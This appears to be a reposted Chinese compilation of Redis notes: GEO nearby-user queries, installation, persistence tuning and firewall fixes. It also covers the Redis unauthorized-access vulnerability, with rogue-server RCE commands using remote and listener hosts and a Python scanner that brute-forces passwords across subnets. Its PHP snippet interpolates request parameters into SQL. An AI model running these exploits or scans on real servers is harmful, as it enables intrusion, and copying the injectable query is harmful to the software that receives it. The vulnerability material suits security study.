解决方案-LBS用户位置Redis-GEO附近人/店铺

在这里插入图片描述

附近人

  • windows安装
  • 附近人列表功能
    • mysql
    • redis GEO
  • CNNVD-201511-230 未授权访问
  • python 多线程 redis
    • 大端模式与小端模式
        • IP地址的不同表现形式
          • 1.字符串表现形式
          • 2. 整数表现形式
          • 3.大小端模式下的IP地址
      • 0x01 进入python正题
        • Python的socket库
          • 1.socket.socket(family,type)
          • 2.socket.connect(address)
          • 3.socket.connect_ex(address)
          • 4.socket.settimeout(value)
          • 5.socket.sendall(data)
          • 6.socket.recv(bufsize)
          • 7.socket.close()
        • Python的sys库
      • 0x02 Redis 服务特征识别
        • 1.PING命令
        • 2.AUTH命令
      • 0x03 代码编写
        • 编程实现Redis服务识别
        • 加入主函数
        • 密码字典爆破
        • 批量扫描同一网段下的主机
        • 多线程扫描
  • 缓存redis
  • 初识
      • #节点服务器redis#
          • #redis运维#
  • 安装
  • redis持久化 与 常见问题
        • #开发运维#
          • fork本身
        • 解决方案
      • 死活连接不上
        • 改完配置一定要重启!重启!重启!
  • 深入
  • 电商秒杀系统实战&&Redis集成
        • #添加依赖#![在这里插入图片描述](https://img-blog.csdnimg.cn/20191202170212204.png)
        • #添加配置#
          • #创建redisconfig#

windows安装

Ruoyi-SpringCloud版本-2.安装redis服务端和客户端-win7

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

附近人列表功能

方案优势缺点
Mysql外接正方形逻辑清晰,实现简单,支持多条件筛选效率较低,不适合大数据量,不支持按距离排序
Mysql+Geohash借助索引有效提高效率,支持多条件筛选不支持按距离排序,存在数据库瓶颈
Redis+Geohash效率高,集成便捷,支持距离排序不适合复杂对象存储,不支持多条件查询

mysql

轻量级  1w 以内 经纬度  --->  四个临界点

redis GEO

GEO 就是 Geolocation 的简写形式,代表地理坐标。Redis 在 3.2 版本中加入了对 GEO 的支持,允许存储地理坐标信息,帮助我们根据经纬度来检索数据。
https://zhuanlan.zhihu.com/p/651015058

## geohash
地理位置操作服务器  设置成  0.0.0.0

GEOADD 将指定的地理空间位置 经度纬度 名称 存储到指定key

GEORADIUS 以给定的经纬度为中心 找出某一半径内元素

## thinkphp```php// 假设您已经获取了用户的经纬度和需要搜索的距离范围
$lng = $_GET['lng']; // 用户的经度
$lat = $_GET['lat']; // 用户的纬度
$distance = $_GET['distance']; // 需要搜索的距离范围,单位为千米// 计算经纬度范围
$earth = 6378.137; // 地球半径
$pi = 3.1415926535898; // 圆周率
$lng_min = $lng - rad2deg($distance / $earth / cos(deg2rad($lat)));
$lng_max = $lng + rad2deg($distance / $earth / cos(deg2rad($lat)));
$lat_min = $lat - rad2deg($distance / $earth);
$lat_max = $lat + rad2deg($distance / $earth);// 查询商品表,根据距离排序,取前10条数据
$goods = Db::name('goods')->field("*, (2 * $earth * asin(sqrt(pow(sin($pi * ($lat - lat) / 360), 2) + cos($pi * $lat / 180) * cos(lat * $pi / 180) * pow(sin($pi * ($lng - lng) / 360), 2)))) as distance")->where('lng', 'between', [$lng_min, $lng_max])->where('lat', 'between', [$lat_min, $lat_max])->order('distance', 'asc')->limit(10)->select();// 返回推荐商品的数据
return json($goods);<html>
<head><meta charset="utf-8"><title>商品推荐</title><style>.goods {display: flex;flex-wrap: wrap;justify-content: space-around;margin: 20px;}.item {width: 200px;height: 300px;border: 1px solid #ccc;margin: 10px;padding: 10px;box-sizing: border-box;}.item img {width: 180px;height: 180px;}.item h3 {font-size: 16px;margin: 10px 0;}.item p {font-size: 14px;color: #666;}</style>
</head>
<body><div class="goods"></div><script>// 假设您已经获取了用户的经纬度和需要搜索的距离范围var lng = 120.15; // 用户的经度var lat = 30.28; // 用户的纬度var distance = 10; // 需要搜索的距离范围,单位为千米// 发送Ajax请求,获取推荐商品的数据var xhr = new XMLHttpRequest();xhr.open('GET', 'http://localhost/goods?lng=' + lng + '&lat=' + lat + '&distance=' + distance);xhr.onreadystatechange = function() {if (xhr.readyState == 4 && xhr.status == 200) {var data = JSON.parse(xhr.responseText);// 渲染商品列表var goods = document.querySelector('.goods');goods.innerHTML = '';for (var i = 0; i < data.length; i++) {var item = document.createElement('div');item.className = 'item';item.innerHTML = `<img src="${data[i].image}" alt="${data[i].name}"><h3>${data[i].name}</h3><p>价格:${data[i].price}元</p><p>距离:${data[i].distance.toFixed(2)}千米</p>`;goods.appendChild(item);}}};xhr.send();</script>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CNNVD-201511-230 未授权访问

一、漏洞描述
Redis 是美国 RedisLabs 公司赞助的一套开源的使用 ANSIC 编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的 API。

Redis 中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在 6379 端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。

当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问 Redis 并读取 Redis 的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

二、漏洞影响
Redis <= 5.0.5

三、漏洞复现
1、环境搭建
使用 Vulhub 在服务器上搭建:
cd /vulhub/redis/4-unacc docker-compose up -d 12
以开放在默认的 6379 端口,在攻击机使用redis-cli -h target-ip即可进行连接

2、漏洞复现

在这里插入图片描述

测试命令执行:

在这里插入图片描述
在这里插入图片描述
得到回显,可见存在未授权访问漏洞。
四、漏洞POC
使用 Redis 客户端连接:
redis-cli -h 0.0.0.0 1
执行info命令。

五、提权
https://blog.51cto.com/jiachen/2514921
https://www.cnblogs.com/zpchcbd/p/11739232.html

六、整改
https://blog.csdn.net/qq_40907977/article/details/106207488

https://blog.csdn.net/weixin_40412037/article/details/120347458

python3 redis-rce.py -r 115.29.67.37 -L 101.43.159.27 -f ./module.so

https://blog.csdn.net/Seizerz/article/details/103139905

https://www.cnblogs.com/1008612mrzou/p/14832260.html

redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1

https://mp.weixin.qq.com/s/xMOlwnU5Jac25GPNnpD8Hg

python 多线程 redis

大端模式与小端模式

在内存中,数据的表示模式
分为两种:大端模式和小端模式。

大端模式
指数据的高字节保存在内存的低地址中,
而数据的低字节保存在内存的高地址中。

小端模式
数据的高字节保存在内存的高地址中
而数据的低字节保存在内存的低地址中
这种存储模式将地址的高低和数据位权有效地结合起来,
高地址部分权值高,低地址部分权值低,和我们的逻辑方法一致。

在小端模式表示法下,整数0x78563412在内存中的表示
在这里插入图片描述

  • 注意:Intel系列的CPU采用小端模式,而当数据在网络上传输时采用大端模式。
IP地址的不同表现形式

理解这些表现形式以及它们之间的相互转换方法,是遍历指定范围内的IP地址的一个重要方法。

1.字符串表现形式

也就是通常所说的点分十进制形式,如192.168.1.1,这是我们最熟悉的一种表现形式。

2. 整数表现形式

我们知道IPv4是32位的,而8位可以表示1个字节,

也就是说,IPv4地址可以表示为4字节的数据,刚好可以表示为一个无符号int类型的数据。

那么字符串形式的IP地址如何转换为整数数值呢?
因为点分十进制的IP中,每个被点分隔的数据占用1字节,
可以表示的范围是0~255,所以可以认为这是一个256进制的数,这样转换就非常简单了。

以IP地址220.181.111.188为例,其整数值为3702878140,计算过程为:

256^3*220+256^2*181+256^1*111+256^0*188=256*256*256*220+256*256*181+256*111+188=3702878140

实际上220.181.111.188这个IP地址是pingwww.baidu.com得来的,
所以在浏览器中访问http://3702878140/实际上访问的就是百度了。

3.大小端模式下的IP地址

因为涉及到网络传输,所以当IP地址转换为数值形式时,
还存在大端和小端两种不同的形式。

我们计算出来的3702878140是小端模式表示法下的值,
在当做socket参数使用时,需要转换为大端模式。

0x01 进入python正题

Python的socket库

Python提供了一个socket库用于网络相关的编程,这里对其中几个重要的函数进行介绍

1.socket.socket(family,type)

用于创建一个socket;
family参数指定套接字的家族,在IPv4网络编程中值固定为socket.AF_INET;
type参数表明套接字的类型是UDP还是TCP,

UDP使用socket.SOCK_DGRAM,TCP使用socket.SOCK_STREAM。

2.socket.connect(address)

与指定的服务器建立通信连接,
其中address是一个元组(ip,port),
其中IP为字符串,port为数值,如(“192.168.1.1”,6379)。

如果连接失败,该函数会抛出一个异常。

3.socket.connect_ex(address)

与指定的服务器建立通信连接,
其中address是一个元组(ip,port),其中IP为字符串,port为数值,如(“192.168.1.1”,6379)。
连接成功时函数返回0,
否则返回非0值。

4.socket.settimeout(value)

当使用socket.connect()或socket.connect_ex()连接服务器时,
在连通之前会阻塞一段时间,如果无法连通的话可能会阻塞很久,这会浪费许多时间。

因此,可以使用settimeout函数设置一个超时时间,
value是秒钟数,表示如果在这个时间内无法连接则直接返回。

5.socket.sendall(data)

立即把参数data指定的数据发送给远程服务器,其中data是字符串类型,
其中可以存储任意的二进制数据。

6.socket.recv(bufsize)

从远程服务器接收bufsize字节的数据。

7.socket.close()

关闭与远程服务器的socket连接。

Python的sys库

在使用C语言编写命令行程序是,
main函数提供了两个参数intargc和char**argv,
其中argc指定命令行参数的个数,argv则存储具体的命令行参数。
其中,argv[0]是命令行程序本身的名字,argv[1]存储第一个命令行参数,argv[2]存储第二个命令行参数,以此类推。

在Python中,可以通过sys库的argv参数获取命令行参数的值,
即sys.argv[0]、sys.argv[1]等,通过len(sys.argv)可以获取命令行参数的个数。

0x02 Redis 服务特征识别

在编写安全扫描器之前,我们遇到的第一个问题是:

如何识别指定的端口上运行的服务是否是Redis服务?
首先,Redis服务并不一定只能在6379端口上进行监听,
这个选项可以在Redis配置文件redis.conf里面进行修改;

其次,即使6379端口处于开放状态,我们也需要对其进行判断是否是Redis服务。
扫描器一般都通过端口返回的交互数据来判别端口上运行的具体服务,识别Redis服务也不例外。

首先,介绍一下Redis的PING和AUTH命令。

1.PING命令

在成功连接上Redis服务器之后,客户端往服务器发送PING命令,服务器会给客户端返回PONG这个字符串。

2.AUTH命令

如果Redis服务设置了连接密码,那么首先需要通过AUTH命令确认登陆密码。
在这里插入图片描述

从上面的操作步骤,我们已经可以总结出识别Redis服务的方法了:

1.指定的端口是否开放TCP服务;

2.执行PING命令:

a)如果提示

(error)NOAUTHAuthenticationrequired.表明是Redis服务

且需要登录密码;

b)如果提示

PONG,表明是Redis服务,且无需登录密码;

c)提示其他结果,表明不是Redis服务;

3.如果需要登录密码,执行AUTH命令:

a)如果提示

(error)ERRinvalidpassword,表明密码错误;

b)如果提示

OK,表明密码正确; 

0x03 代码编写

编程实现Redis服务识别

在编写代码之前,我们还需要知道的一点是:

客户端通过socket往服务器发送命令时,需要在后面加上回车换行,即\r\n;

我们在使用redis-cli发送PING命令时,redis-cli会自动加上\r\n,拼接成PING\r\n。
在编程实现扫描器时,我们需要自己加上\r\n。

识别Redis服务的代码如下所示

 #判断是否为redis服务
def is_redis_server(ip, port):"""参数ip:字符串形式IP地址参数port:数值形式端口号,如6379返回值:-1 端口未开放,或者开放但不是Redis服务0   为Redis服务,但需要密码1   为Redis服务,不需要密码"""# 创建一个TCP类型的sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2.0)# 尝试连接端口,如果返回值不为0,表示端口没有开放if s.connect_ex((ip, port)) != 0:return -1s.sendall("PING\r\n")msg = s.recv(1024)res = -1# 如果返回值包含PONG,成功且无密码
​if msg.find("PONG") != -1:res = 1# 如果返回值如下,则表示需要密码elif msg.find("NOAUTH") != -1:res = 0# 否则不是Redis服务,res = -1
​# 关闭socket链接s.close()return res

在上面的代码中,我们没有使用connect函数连接到目标服务器,而是使用了connect_ex函数。
因为前者在连接失败的情况下会抛出一个异常,
我们需要在代码中加入异常处理的代码;而使用connect_ex直接判断返回值即可,
可以使得代码更加的简洁。

加入主函数
 if __name__ =="__main__":ip = "127.0.0.1"port = 6379res = is_redis_server(ip,port)print res
密码字典爆破

Redis并没有限制客户端输入登录密码的次数。出于安全检测的目的,我们只对其进行弱口令检查
断的往Redis服务器发送AUTH命令即可,
如果返回结果包含字符串invalidpassword,表明密码错误,
如果返回结果包含字符串OK,则表明密码正确。

爆破密码的代码封装在check_password函数中,函数首先读取dict.txt文件的密码列表,
随后遍历列表中的密码并生成AUTH命令,
将生成的AUTH命令发送到服务器,
根据服务器的返回信息判断密码是否正确:
如果返回的信息包含OK则表明密码正确。具体的代码如下所示:

 def Check_password(s):"""s:已连接redis服务器的socket返回值:密码字符串,失败返回None"""fp = open("dict.txt")  #打开密码字典passwords = fp.readline()fp.close()for pwd in passwords:#删除末尾的“\r”,"\n","\r\n"pwd = pwd.strip()s.sendall("AUTH %s \r\n" %pwd)msg = s.recv(1024)if msg.find("OK") != -1:return pwdreturn None

只需要稍微修改is_redis_server函数即可,
在其中加入对check_password的调用

在这里插入图片描述

批量扫描同一网段下的主机

网段扫描功能,即可以指定要扫描的IP范围。
这里扫描IP范围直接通过命令行参数指定,如10.1.1.1 10.1.1.255表明共有255台主机需要扫描
那么如何遍历这255个IP地址呢?

  • 1.将字符串形式的点分十进制IP地址转换为数值

首先使用split将IP地址进行分离,比如"10.1.1.47".split(“.”),
这样各个点之间的数据就分离了,
得到列表[“10”,“1”,“1”,“47”],
随后将列表中的元素从字符串转换为int,
并乘以相应的系数后累加,代码如下:

 def ip_str2int(ip): tmp = ip.split(".")a1 = int(tmp[0])*256*256*256a2 = int(tmp[1])*256*256a3 = int(tmp[2])*256a4 = int(tmp[3])ip = a1 + a2 + a3 + a4return ip
  • 2.通过步骤1,我们就可以计算出字符串IP地址对应的数值范围了,
    通过for循环遍历这个范围即可。
    遍历得到的数值IP还需要转换为字符串,这里通过位运算中的“与操作”以及“移位操作”实现。

例如IP地址17.34.51.68对应的数值形式为0x11223344(16进制),
那么0x11223344&0xFF000000得到0x11000000,
再向右移动24位就可以得到0x11,
即10进制的17。对应的代码如下:

 def ip_int2str(ip):a1 = (ip&0xFF000000)>>24a2 = (ip&0x00FF0000)>>16a3 = (ip&0x0000FF00)>>8a4 = ip&0x0000000FFip = "%d.%d.%d.%d" %(a1,a2,a3,a4)return ip

网段范围扫描的代码封装在scan函数中,其中beg_ip通过sys.argv[1]获取,end_ip通过sys.argv[2]获取,具体的代码如下所示

 def scan(beg_ip,end_ip):"""对指定ip返回内的主机进行检测"""#将点分十进制ip,转化成数值beg_ip = ip_str2int(beg_ip)end_ip = ip_str2int(end_ip)#遍历数值ip返回for ip in range(beg_ip,end_ip+1):ip = ip_int2str(ip)res,pwd = is_redis_server(ip,6379)if res ==1:print(ip)elif res==0 and pwd!=None:print ("%s  -> %s"%(ip,pwd))print("Scan Done!")

添加主函数

 if __name__ =="__main__":if len(sys.argv)== 3:scan(sys.argv[1],sys.argv[2])

在这里插入图片描述

多线程扫描

单线程的代码进行封装,然后使用python的threading库,便可以轻松实现多线程任务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

缓存redis

 info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出

初识

#节点服务器redis#

  • 高性能
  • Key-Value
  • 读写分离来承载读请求QPS超过10万
  • 多种数据结构
    (五大基础 字符串,哈希,列表,序列有序集合)
    String,Hash,List,Set,Sorted Set
    在这里插入图片描述
    (衍生bitmaps、hyperloglog、geo )

  • 丰富功能
    pipeline(提高客户端并发)
    发布订阅
    geo
    位图
    支持Lua脚本
    简单事务
    在这里插入图片描述

  • 高可用 分布式
    Redis Sentinel(哨兵)
    Redis Cluster Codis开源

  • 单线程 批量处理
  • 数据结构 应用场景
  • 各个语言 客户端使用

#redis运维#

在这里插入图片描述
在这里插入图片描述

  • 性能优化
  • 分布式基础

在这里插入图片描述

  • 服务/客户 交互故障 困扰解决——高可用

在这里插入图片描述

  • 分布式特性 ——伸缩
    在这里插入图片描述

  • 开源 源码定制化

在这里插入图片描述

  • 键值 存储 服务系统

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
—— key-Value 特性

在这里插入图片描述
在这里插入图片描述

 在这里插入图片描述在这里插入图片描述在这里插入图片描述


在这里插入图片描述在这里插入图片描述在这里插入图片描述


在这里插入图片描述

  • 两种持久化方式(RDB&AOF)

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

安装

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

ping www.baidu.comwget http://download.redis.io/releases/redis-4.0.6.tar.gz

在这里插入图片描述

在这里插入图片描述

tar -xzf redis-4.0.6.tar.gz
##### ln -s redis-4.0.6 redis
mv redis-4.0.6 redis
cd redis

在这里插入图片描述

 		make && make install

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述




在这里插入图片描述在这里插入图片描述

 cd /root/redis/vi redis.conf

在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

 	 cd  /root/redis/utils./install_server.sh/root/redis/redis.conf/root/redis/redis.log/root/redis/data

在这里插入图片描述

	cat  /root/redis/redis.log

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

cd   /etc
mkdir rediscp /root/redis/redis.conf /etc/redis/6379.confcp /root/redis/utils/redis_init_script  /etc/init.d/redisd

在这里插入图片描述在这里插入图片描述在这里插入图片描述

 cd /etc/init.dvi redisdchkconfig redisd onservice redisd start

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

ps -ef |grep redis

在这里插入图片描述

  • 根据各种应用场景 去改就好

redis持久化 与 常见问题

#开发运维#
  • fork操作——子进程开销与优化
fork本身

(1)同步操作
虽然fork同步操作是非常快的,但是如果需要同步的数据量过大,fork就会阻塞redis主进程。

(2)与内存量息息相关
内存越大,fork同步数据耗时越长,当然也跟服务器有关,服务器有物理机,也有虚拟机。

(3)info:latest_fork_usec
使用此命令可以查看持久化花费的时间,如果持久化时间过长,就会造成卡顿。

 例如:如果redis此时QPS上万,此时redis正在持久化,而且持久化时间比较长(1s或者10几秒),这个时候就会严重阻塞redis。

2、改善fork
(1)优先使用物理机或者高效的虚拟机支持fork操作

(2)控制redis实际最大可用内存:maxmemory

(3)合理配置linux内存分配策略:vm.overcommit_memory=1

(4)降低fork频率:例如放宽AOF重写自动触发时机,减少不必要的全量复制。


  • 进程外开销
  • AOF追加阻塞 ——造成客户端超时
  • 单机 多部署 实例
解决方案

考虑到redis一般都是部署在服务器上作为服务存在的。所以,本文的解决方案都是持久性配置,不是临时配置。

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

第一个警告:

The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.

对一个高负载的环境来说tcp设置128这个值,太小了。
然后我们可以手动设置,或者设置永久值.所以执行:

echo 511 > /proc/sys/net/core/somaxconn

在这里插入图片描述

但是这个只是暂时的。如果想要永久解决,打开/etc/sysctl.conf
在这里插入图片描述

 vi  /etc/sysctl.conf

在这里面添net.core.somaxconn= 1024 然后执行sysctl -p 就可以永久消除这个warning

在这里插入图片描述

第二个警告:overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add ‘vm.overcommit_memory = 1’ to/etc/sysctl.conf and then reboot or run the command ‘sysctl vm.overcommit_memory=1’ for this to take effect.

将vm.overcommit_memory = 1添加到/etc/sysctl.conf中,然后执行sysctl -p生效配置。

 sysctl -p

在这里插入图片描述
在这里插入图片描述

第三个警告:you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix thisissue run the command ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled’ as root, and add it to your /etc/rc.local in order to retain thesetting after a reboot. Redis must be restarted after THP is disabled.

在这里插入图片描述

echo never > /sys/kernel/mm/transparent_hugepage/enabled
添加到/etc/rc.local中

 vi /etc/rc.local

在这里插入图片描述在这里插入图片描述

然后执行source /etc/rc.local生效配置

 cd /etc/init.dsystemctl restart redis_6379

在这里插入图片描述

死活连接不上

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
禁用防火墙
在RHEL7开始,使用systemctl工具来管理服务程序,包括了service和chkconfig

[root@rhel7 ~]# systemctl stop firewalld.service
[root@rhel7 ~]# systemctl disable firewalld.service
[root@rhel7 ~]# systemctl status firewalld.service

在这里插入图片描述

 启动一个服务:systemctl start firewalld.service关闭一个服务:systemctl stop firewalld.service重启一个服务:systemctl restart firewalld.service显示一个服务的状态:systemctl status firewalld.service在开机时启用一个服务:systemctl enable firewalld.service在开机时禁用一个服务:systemctl disable firewalld.service查看服务是否开机启动:systemctl is-enabled firewalld.service;echo $?查看已启动的服务列表:systemctl list-unit-files|grep enabled

关闭防火墙

改完配置一定要重启!重启!重启!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

深入

前题

  • redis 集群搭建
  • 伸缩细节 扩容 、缩容
  • 客户端使用
  • 单机 Sentinel Cluster 客户端改动
  • JedisPool JedisSentinelPool 连接
  • 自身方式连接

在这里插入图片描述

  • 节点迁移 槽迁移

电商秒杀系统实战&&Redis集成

在这里插入图片描述

  • 对象序列化 fastjson 明文可读json
#添加依赖#在这里插入图片描述

在这里插入图片描述

#添加配置#

在这里插入图片描述 在这里插入图片描述

#创建redisconfig#

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 生成 get方法在这里插入图片描述
  • 添加 redis server
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述在这里插入图片描述 在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/162269.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

02.机器学习原理(复习)

目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》&#xff0c;B站自行搜…

10.18作业

使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"admin"&#xff0c;密码是否为…

【网络安全】防火墙技术

防火墙是网络安全防御的重要组成部分&#xff0c;它的主要任务是阻止或限制不安全的网络通信。在这篇文章中&#xff0c;我们将详细介绍防火墙的工作原理&#xff0c;类型以及如何配置和使用防火墙。我们将尽可能使用简单的语言和实例&#xff0c;以便于初学者理解。 如果你对…

【字符串匹配算法】KMP、哈希

STL O(mn) C中提供子串查询的函数可以使用std::string类的相关方法来实现。 find函数&#xff1a;可以查找一个子串在原字符串中的第一个出现位置。它返回子串的起始索引&#xff0c;如果找不到则返回std::string::npos。substr函数&#xff1a;可以提取原字符串中的一个子串…

Jmeter性能测试(压力测试)

1.先保存 2.添加请求&#xff08;即添加一个线程组&#xff09; 3.添加取样器&#xff08;在线程组下面添加一个http请求&#xff09; 场景1&#xff1a;模拟半小时之内1000个用户访问服务器资源&#xff0c;要求平均响应时间在3000毫秒内&#xff0c;且错误率为0&#xff0…

Kafka SASL认证授权(六)全方位性能测试

Kafka SASL认证授权(六)全方位性能测试。 官网地址:https://kafka.apache.org/ 一、场景 线上已经有kafka集群,服务运行稳定。但是因为产品升级,需要对kakfa做安全测试,也就是权限验证。 但是增加权限验证,会不会对性能有影响呢?影响大吗?不知道呀! 因此,本文就此…

Qt/C++开源作品45-CPU内存显示控件/和任务管理器一致

一、前言 在很多软件上&#xff0c;会在某个部位显示一个部件&#xff0c;专门显示当前的CPU使用率以及内存占用&#xff0c;方便用户判断当前程序或者当前环境中是否还有剩余的CPU和内存留给程序使用&#xff0c;在不用打开任务管理器或者资源查看器的时候直接得知当前系统的…

ORACLE内存结构

内存体系结构 ​​​​​​​ 目录 内存体系结构 2.1自动内存管理 2.2自动SGA内存管理 2.3手动SGA内存管理 2.3.1数据库缓冲区 2.3.1.1保留池 2.3.1.2回收池 2.3.2共享池 2.3.2.1SQL查询结果和函数查询结果 2.3.2.2库缓存 2.3.2.3数据字典缓存 2.3.3大池 2.3.4 …

20-数据结构-内部排序-插入排序

简介&#xff1a;插入排序基本有两步&#xff0c;先是通过比较&#xff0c;得到插入位置&#xff0c;随后移动给需要插入的位置处腾空&#xff0c;最后进行值的插入。 目录 一、直接插入排序 1.1简介&#xff1a; 1.2代码 二、折半插入排序 2.1简介&#xff1a; 2.2代码…

LXC、Docker、 Kubernetes 容器以及Hypervisor的区别

LXC、Docker、 Kubernetes 容器以及Hypervisor的区别 SaaS: Software-as-a-Service&#xff08;软件即服务&#xff09; PaaS: Platform-as-a-Service&#xff08;平台即服务&#xff09; IaaS: Infrastructure-as-a-Service&#xff08;基础设施即服务&#xff09; 1、Docke…

如何使用 Disco 将黑白照片彩色化

Disco 是一个基于视觉语言模型&#xff08;LLM&#xff09;的图像彩色化工具。它使用 LLM 来生成彩色图像&#xff0c;这些图像与原始黑白图像相似。 本文将介绍如何使用 Disco 将黑白照片彩色化。 使用 Disco 提供了一个简单的在线演示&#xff0c;可以用于测试模型。 访问…

SpringMVC之国际化上传下载

spring项目中的国际化 1&#xff09;提供中英两种资源文件 i18n_en_US.properties i18n_zh_CN.properties 2&#xff09;配置国际化资源文件&#xff08;在spring配置文件中添加&#xff0c;例如spring-mvc.xml&#xff09; <bean id"messageSource" class&quo…

从头开始机器学习:神经网络

一、说明 如果你还没有做过逻辑回归&#xff0c;你会在这里挣扎。我强烈建议在开始之前查看它。您在逻辑回归方面的能力将影响您学习神经网络的难易程度和速度。 二、神经网络简介 神经网络是一个神经元网络。这些神经元是逻辑回归函数&#xff0c;它们被链接在一起形成一个网络…

使用REPLACE将数据库某一列字段进行字符串操作

REPLACE可以将表里的数据进行替换操作 如&#xff1a;需要把这一列里面的 # 去掉&#xff0c;经过测试&#xff0c;无论是开头、句中还是结尾都可以删除 UPDATE 表名 SET 字段名 REPLACE(字段名 , #, )

C#上位机序列9: 批量读写+事件广播

